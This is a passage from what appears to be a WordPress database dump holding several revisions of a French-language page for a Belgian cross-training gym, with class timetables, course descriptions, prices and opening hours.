100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:05:17', '2013-07-03 17:05:17', '', 11, 'http://www.crosstrainingcenter.be/?p=182', 0, 'revision', '', 0),
(179, 1, '2013-07-03 17:01:59', '2013-07-03 17:01:59', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:01:59', '2013-07-03 17:01:59', '', 11, 'http://www.crosstrainingcenter.be/?p=179', 0, 'revision', '', 0),
(180, 1, '2013-07-03 17:02:21', '2013-07-03 17:02:21', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr class=\&quot;tabb\&quot;&gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et 